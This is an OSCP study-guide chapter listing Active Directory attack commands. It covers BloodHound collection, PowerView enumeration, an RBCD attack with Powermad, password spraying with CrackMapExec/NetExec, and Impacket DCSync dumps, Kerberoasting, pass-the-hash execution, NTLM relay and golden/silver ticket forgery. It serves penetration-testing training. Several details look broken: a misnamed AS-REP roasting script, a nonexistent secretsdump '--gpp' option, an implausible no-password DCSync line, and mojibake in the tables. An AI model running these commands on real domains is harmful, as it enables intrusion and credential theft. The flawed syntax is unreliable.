Tools Mastery
This chapter covers the essential tools you must master for Active Directory exploitation in OSCP. Each tool is covered with syntax, common use cases, and OSCP-specific tips.
1. BloodHound / SharpHound
Overview
BloodHound is a graph-based AD attack path visualization tool (now owned by CyberArk). It collects AD data and uses graph theory to find the shortest paths to high-value targets like Domain Admins.
SharpHound is the C# data collector. BloodHound Python is an alternative Python-based collector.
SharpHound Collection Methods
# Method 1: All collectors (most comprehensive, slowest)
.\SharpHound.exe --CollectionMethods All
# Method 2: Specific collectors (faster, targeted)
.\SharpHound.exe --CollectionMethods DCOnly,Group,LocalAdmin,Session,Trusts
# Method 3: With credentials
.\SharpHound.exe -c All -d DOMAIN.COM -u user -p password
# Method 4: Domain specification
.\SharpHound.exe -c All -d DOMAIN.COM
# Method 5: Output directory
.\SharpHound.exe -c All -d DOMAIN.COM -o C:\output
BloodHound Python
# Basic collection
bloodhound-python -u user -p pass -d domain.com -dc DC_IP \
-ns DC_IP --collection-methods All
# With hash instead of password
bloodhound-python -u user -H NT_HASH -d domain.com -dc DC_IP \
-ns DC_IP --collection-methods All
# Kerberos mode (no DC_IP needed)
bloodhound-python -u user -p pass -d domain.com \
--collection-methods All -k
# DCOnly mode (fast, DC data only)
bloodhound-python -u user -p pass -d domain.com -dc DC_IP \
-ns DC_IP --collection-methods DCOnly
Collection Methods Reference
| Method | Description | Time | When to Use |
|---|---|---|---|
| Group | Group membership, local group membership | Fast | Always include |
| User | User attributes, sessions | Fast | Always include |
| Computer | Computer attributes, sessions | Medium | Always include |
| LocalAdmin | Local admin membership via SAMR/DCOM | Medium | Critical for lateral movement paths |
| Session | Active logon sessions on computers | Medium | Critical for session-based attacks |
| Trusts | Trust relationships between domains/forests | Fast | Always include for multi-domain |
| ACL | ACL/ACE permissions on all objects | Slow | Critical for ACL-based attacks |
| ObjectProps | Object properties and attributes | Fast | Always include |
| DCOnly | DC-only collection (no computer enumeration) | Fast | Quick initial recon |
| DCOM | DCOM-based collection (alternative to SAMR) | Slow | When SAMR is blocked |
| PSRemote | PowerShell Remoting collection | Slow | When WinRM is enabled |
| All | Everything | Slow | Comprehensive analysis |
BloodHound Node Types
| Node | Color | Description |
|---|---|---|
| User | π΅ Blue | Domain user account |
| Computer | π’ Green | Domain computer account |
| Group | π£ Purple | Domain group |
| GPO | π Orange | Group Policy Object |
| OU | π‘ Yellow | Organizational Unit |
| Domain | π΄ Red | AD domain |
| Container | βͺ Gray | AD container |
BloodHound Edge Types (Relationships)
| Edge | Description | Attack Relevance |
|---|---|---|
| MemberOf | User/Group membership | Privilege escalation via group nesting |
| HasSession | Active logon session on a computer | Lateral movement via session hijacking |
| AdminTo | Local admin rights on a computer | Lateral movement, credential dumping |
| CanRDP | RDP access to a computer | Lateral movement via RDP |
| CanExecuteDCOM | DCOM execution rights | Lateral movement via DCOM |
| AllowedToDelegate | Delegation relationship | Delegation attacks (unconstrained/constrained) |
| CanResetPassword | Password reset ACL | Credential access β reset targetβs password |
| ForceChangePassword | Force password change ACL | Credential access β force new password |
| AddMember | Add member to group ACL | Privilege escalation β join privileged group |
| WriteDACL | Modify ACL on object | Privilege escalation β grant self any permission |
| Owns | Object ownership | Full control β change owner, then grant self permissions |
| GenericAll | Full control ACL | Full object control β modify anything |
| GenericWrite | Write access to object | Modify object properties (SPN, description, etc.) |
| WriteOwner | Change object owner | Full control β become owner, then grant self permissions |
| Contains | Container relationship | Navigation through AD hierarchy |
| GPLink | GPO link to OU | GPO abuse β modify GPO affecting OU objects |
| CanReadLAPSPassword | LAPS password read access | Credential access β get local admin password |
| AllowedToAct | RBCD delegation | Resource-Based Constrained Delegation attack |
2. PowerView
PowerView is a PowerShell framework by HarmJ0y (Will Schroeder) for AD enumeration and manipulation. It is part of the PowerSploit framework.
Importing PowerView
# Import the module
Import-Module .\PowerView.ps1
# Or dot-source it
. .\PowerView.ps1
Key Functions
# === User Enumeration ===
Get-NetUser # All users
Get-NetUser -UserName target # Specific user
Get-DomainUser -SPN # Users with SPNs (Kerberoasting)
Get-DomainUser -PreauthNotRequired # AS-REP Roasting targets
Get-DomainUser -Identity username -Properties * # All attributes
# === Group Enumeration ===
Get-NetGroup # All groups
Get-NetGroupMember "Domain Admins" # Group members
Get-NetGroup -GroupName "*admin*" # Filter by name pattern
Get-NetGroupMember -GroupName "Domain Admins" -Recurse # Recursive
# === Computer Enumeration ===
Get-NetComputer # All computers
Get-NetComputer -Ping # Live computers only
Get-DomainComputer -Unconstrained # Unconstrained delegation targets
Get-DomainComputer -OperatingSystem "*Server*" # Servers only
# === GPO Enumeration ===
Get-NetGPO # All GPOs
Get-NetGPOGroup # GPO group memberships (restricted groups)
Get-ObjectAcl -ResolveIds # ACL details with resolved names
# === Share Enumeration ===
Get-NetShare -ComputerName TARGET # Shares on specific computer
Invoke-ShareFinder # Find interesting shares across domain
Invoke-FileFinder # Find sensitive files across shares
# === ACL Enumeration ===
Get-ObjectAcl -SamAccountName target # ACLs on specific object
Get-ObjectAcl -ResolveIds -DistinguishedName "CN=..." # Full ACL details
# === Trust Enumeration ===
Get-NetDomainTrust # Domain trusts
Get-NetForestTrust # Forest trusts
# === Password Spraying ===
Invoke-DomainUserLogon # Test credentials against users
# === Network Discovery ===
Get-NetDomain # Current domain info
Get-NetForest # Current forest info
Get-NetSite # AD sites
Get-NetSubnet # AD subnets
Get-NetFileServer # File servers with active sessions
3. Powermad
Powermad is a PowerShell module for creating and managing computer accounts in AD. It is essential for Resource-Based Constrained Delegation (RBCD) attacks.
Key Functions
# Import Powermad
Import-Module .\Powermad.ps1
# Create a new computer account
New-MachineAccount -MachineAccount evilpc \
-Password $(ConvertTo-SecureString 'Password123!' -AsPlainText -Force)
# Verify creation
Get-ADComputer evilpc
# Remove a computer account
Remove-MachineAccount -MachineAccount evilpc
# Check machine account quota
Get-ADObject -Identity (Get-ADDomain).DistinguishedName \
-Properties ms-DS-MachineAccountQuota
RBCD Attack with Powermad
# Step 1: Create machine account
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount evilpc \
-Password $(ConvertTo-SecureString 'P@ssw0rd!' -AsPlainText -Force)
# Step 2: Get the new computer's SID
$computer = Get-ADComputer evilpc
$computerSid = $computer.Sid.Value
# Step 3: Add RBCD ACL to target computer
Import-Module .\RBCD.ps1
Add-DomainComputerAllowedToActOnBehalfOfOtherIdentity \
-TargetIdentity "TARGETPC" \
-PrincipalSid $computerSid
# Step 4: Request TGS ticket (using Impacket from Kali)
# getST.py -spn cifs/TARGETPC.domain.com -impersonate administrator \
# -dc-ip DC_IP DOMAIN/evilpc$:P@ssw0rd!
# Step 5: Use the ticket
# export KRB5CCNAME=administrator.ccache
# psexec.py -k -no-pass TARGETPC.domain.com
4. RPCClient
rpcclient is a Samba utility for interacting with Windows RPC services.
# Connect with null session
rpcclient -U "" DC_IP
# Connect with credentials
rpcclient -U "user%pass" DC_IP
# Interactive commands:
rpcclient> enumdomusers # List all domain users
rpcclient> queryuser 0x1F4 # User details by RID (0x1F4 = 500 = Admin)
rpcclient> enumdomgroups # List all domain groups
rpcclient> querygroup 0x200 # Group details by RID
rpcclient> queryusergroups 0x1F4 # Groups for a specific user
rpcclient> getdompwinfo # Domain password policy
rpcclient> getusrdompwinfo username # User's password status
rpcclient> enumalsusers # List alias users
rpcclient> enumprivs # List privileges
rpcclient> quit
5. net Commands
Built-in Windows commands for basic AD enumeration.
# Domain information
net config workstation # Current domain/workstation info
net view /domain:DOMAIN # Domain resources
# User enumeration
net user /domain # All domain users
net user username /domain # Specific user details
# Group enumeration
net group /domain # All domain groups
net group "Domain Admins" /domain # Domain Admins members
net group "Domain Computers" /domain # All domain computers
# Share enumeration
net share \\TARGET # Shares on target
net view \\TARGET # Resources on target
# Session enumeration
net session \\TARGET # Active sessions on target
# Trust enumeration
netdom trust DOMAIN /domainlist # Domain trusts
# Computer enumeration
net group "Domain Computers" /domain # All computers in domain
6. ldapsearch
ldapsearch is the primary command-line tool for LDAP queries.
# Basic authenticated query
ldapsearch -x -H ldap://DC_IP \
-D "CN=admin,CN=Users,DC=domain,DC=com" \
-w password \
-b "DC=domain,DC=com" \
"(objectClass=*)"
# Search for users with specific attributes
ldapsearch -x -H ldap://DC_IP \
-D "user@domain.com" -w password \
-b "DC=domain,DC=com" \
"(objectClass=user)" \
sAMAccountName mail description servicePrincipalName
# Search for groups
ldapsearch -x -H ldap://DC_IP \
-D "user@domain.com" -w password \
-b "DC=domain,DC=com" \
"(objectClass=group)" \
cn member
# Search for computers with unconstrained delegation
ldapsearch -x -H ldap://DC_IP \
-D "user@domain.com" -w password \
-b "DC=domain,DC=com" \
"(userAccountControl:1.2.840.113556.1.4.803:=524288)" \
cn userAccountControl
# Search over Global Catalog (forest-wide)
ldapsearch -x -H ldap://DC_IP:3268 \
-D "user@domain.com" -w password \
-b "DC=domain,DC=com" \
"(objectClass=*)"
# Search for users without pre-auth (AS-REP Roasting)
ldapsearch -x -H ldap://DC_IP \
-D "user@domain.com" -w password \
-b "DC=domain,DC=com" \
"(userAccountControl:1.2.840.113556.1.4.803:=4194304)" \
sAMAccountName
# Search for users with SPNs (Kerberoasting)
ldapsearch -x -H ldap://DC_IP \
-D "user@domain.com" -w password \
-b "DC=domain,DC=com" \
"(servicePrincipalName=*)" \
sAMAccountName servicePrincipalName
7. CrackMapExec / NetExec
CrackMapExec (CME) and its successor NetExec (nxc) are Swiss Army knives for AD penetration testing.
# === Basic SMB Enumeration ===
crackmapexec smb DC_IP -u user -p password
netexec smb DC_IP -u user -p password
# === Share Enumeration ===
crackmapexec smb DC_IP -u user -p password --shares
netexec smb DC_IP -u user -p password --shares
# === Group Enumeration ===
crackmapexec smb DC_IP -u user -p password --groups
netexec smb DC_IP -u user -p password --groups
# === User Enumeration ===
crackmapexec smb DC_IP -u user -p password --users
netexec smb DC_IP -u user -p password --users
# === Local Admin Check ===
crackmapexec smb 10.0.0.0/24 -u user -p password --local-auth
netexec smb 10.0.0.0/24 -u user -p password --local-auth
# === Password Spraying ===
crackmapexec smb DC_IP -u users.txt -p 'Password123!'
netexec smb DC_IP -u users.txt -p 'Password123!'
# === Kerberoasting ===
crackmapexec smb DC_IP -u user -p password --kerberoasting
netexec smb DC_IP -u user -p password --kerberoasting
# === AS-REP Roasting ===
crackmapexec smb DC_IP -u user -p password --asreproast
netexec smb DC_IP -u user -p password --asreproast
# === LAPS Enumeration ===
crackmapexec smb DC_IP -u user -p password --laps
netexec smb DC_IP -u user -p password --laps
# === GPP Passwords ===
crackmapexec smb DC_IP -u user -p password --gpp-passwords
netexec smb DC_IP -u user -p password --gpp-passwords
# === LDAP Protocol ===
netexec ldap DC_IP -u user -p password --users --groups --computers
# === Pass-the-Hash ===
crackmapexec smb DC_IP -u user -H NT_HASH
netexec smb DC_IP -u user -H NT_HASH
8. Impacket Suite
Impacket is the most important Python library for AD attacks. It is included in Kali Linux.
secretsdump.py (DCSync & Hash Extraction)
# DCSync β dump all accounts
secretsdump.py -just-dc DOMAIN/admin:password@DC_IP
# DCSync β no password (use null session or existing session)
secretsdump.py -just-dc -no-pass DOMAIN/DC_IP
# DCSync β specific user only
secretsdump.py -just-dc-user krbtgt DOMAIN/admin:password@DC_IP
secretsdump.py -just-dc-user administrator DOMAIN/admin:password@DC_IP
# DCSync β using hash instead of password
secretsdump.py -just-dc -hashes :NT_HASH DOMAIN/admin@DC_IP
# Parse extracted NTDS.dit file
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL
# GPP password extraction
secretsdump.py --gpp DOMAIN/user:password@DC_IP
psexec.py / wmiexec.py (Remote Execution)
# PSExec (uses SMB + named pipes)
psexec.py DOMAIN/user:password@TARGET
# PSExec with hash
psexec.py -hashes :NT_HASH DOMAIN/user@TARGET
# WMI Exec (uses WMI instead of SMB)
wmiexec.py DOMAIN/user:password@TARGET
# WMI Exec with hash
wmiexec.py -hashes :NT_HASH DOMAIN/user@TARGET
# Kerberos authentication (no password/hash needed)
psexec.py -k -no-pass DOMAIN/TARGET
wmiexec.py -k -no-pass DOMAIN/TARGET
samrdump.py / lookupsid.py (Enumeration)
# SAMR user enumeration
samrdump.py -no-pass DOMAIN/DC_IP
# RID cycling (lookupsid)
lookupsid.py -no-pass DOMAIN/DC_IP
# With credentials
samrdump.py DOMAIN/user:password@DC_IP
lookupsid.py DOMAIN/user:password@DC_IP
getTGT.py (Kerberos TGT Acquisition)
# Get TGT using password
getTGT.py DOMAIN/username:password
# Get TGT using hash (Overpass-the-Hash)
getTGT.py DOMAIN/username -hashes :NT_HASH
# Use the TGT
export KRB5CCNAME=/root/username.ccache
psexec.py -k -no-pass DOMAIN/TARGET
getUserSPNs.py (Kerberoasting)
# Request TGS tickets for all SPNs
getUserSPNs.py -request -dc-ip DC_IP DOMAIN/user:password@DC_IP
# Output: kirbi files or hashcat format
getUserSPNs.py -request -format hashcat -dc-ip DC_IP DOMAIN/user:password@DC_IP
getusers.py (AS-REP Roasting)
# Find AS-REP Roasting targets
getusers.py -dc-ip DC_IP DOMAIN/ -usersfile users.txt
# Request AS-REPs
getusers.py -dc-ip DC_IP DOMAIN/ -request -usersfile asrep_targets.txt
ntlmrelayx.py (NTLM Relay)
# Relay to LDAP (escalate user to DA)
ntlmrelayx.py -t ldap://DC_IP --escalate-user targetuser
# Relay to SMB
ntlmrelayx.py -t smb://TARGET_IP
# Relay with template (custom LDAP modifications)
ntlmrelayx.py -t ldap://DC_IP -template .\delegate_user.template
ticketer.py (Golden/Silver Tickets)
# Golden Ticket (forge TGT)
ticketer.py -nthash KRBTGT_NT_HASH -domain-id 1 -sid DOMAIN_SID \
-domain DOMAIN.COM evil_user
# Silver Ticket (forge service ticket)
ticketer.py -nthash SERVICE_NT_HASH -domain-id 1 -sid DOMAIN_SID \
-domain DOMAIN.COM -spn CIFS/DC01.DOMAIN.COM evil_user
# Use the ticket
export KRB5CCNAME=evil_user.ccache
psexec.py -k -no-pass DOMAIN/DC_IP
OSCP Exam Checklist: Tools Mastery
Must-Know Tools
- BloodHound/SharpHound β Attack path visualization, always run in AD labs
- Impacket β DCSync, Kerberoasting, AS-REP Roasting, PSExec, NTLM relay, tickets
- CrackMapExec/NetExec β SMB enumeration, password spraying, share access
- PowerView β PowerShell AD enumeration (if on Windows)
- ldapsearch β LDAP enumeration from Linux
- rpcclient β Null session enumeration, RID cycling
- Powermad β Computer account creation for RBCD
Must-Remember Commands
# DCSync (most important)
secretsdump.py -just-dc DOMAIN/admin:password@DC_IP
# Kerberoasting
getUserSPNs.py -request -dc-ip DC_IP DOMAIN/user:password@DC_IP
# AS-REP Roasting
getusers.py -dc-ip DC_IP DOMAIN/ -usersfile targets.txt
# PSExec
psexec.py DOMAIN/user:password@TARGET
psexec.py -hashes :NT_HASH DOMAIN/user@TARGET
psexec.py -k -no-pass DOMAIN/TARGET
# NTLM Relay
ntlmrelayx.py -t ldap://DC_IP --escalate-user targetuser
# SharpHound
.\SharpHound.exe --CollectionMethods All
# BloodHound Python
bloodhound-python -u user -p pass -d domain.com -dc DC_IP -ns DC_IP --collection-methods All